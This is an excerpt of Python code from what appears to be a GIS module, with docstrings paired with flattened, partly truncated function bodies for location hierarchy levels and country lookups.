'Returns the deepest level key (i.e. Ln) in the current hierarchy. - used by gis_location_onvalidation()'
def get_max_hierarchy_level(self):
location_hierarchy = self.get_location_hierarchy() return max(location_hierarchy)
'Get the current hierarchy levels plus non-hierarchy levels.'
def get_all_current_levels(self, level=None):
all_levels = OrderedDict() all_levels.update(self.get_location_hierarchy()) if level: try: return all_levels[level] except Exception as e: return level else: return all_levels
'Get current location hierarchy levels relevant for the user'
def get_relevant_hierarchy_levels(self, as_dict=False):
levels = self.relevant_hierarchy_levels if (not levels): levels = OrderedDict(self.get_location_hierarchy()) if ((len(current.deployment_settings.get_gis_countries()) == 1) or current.response.s3.gis.config.region_location_id): levels.pop('L0', None) self.relevant_hierarchy_l...
'Returns country code or L0 location id versus name for all countries. The lookup is cached in the session If key_type is "code", these are returned as an OrderedDict with country code as the key. If key_type is "id", then the location id is the key. In all cases, the value is the name.'
@staticmethod def get_countries(key_type='id'):
session = current.session if ('gis' not in session): session.gis = Storage() gis = session.gis if gis.countries_by_id: cached = True else: cached = False if (not cached): s3db = current.s3db table = s3db.gis_location ttable = s3db.gis_location_tag ...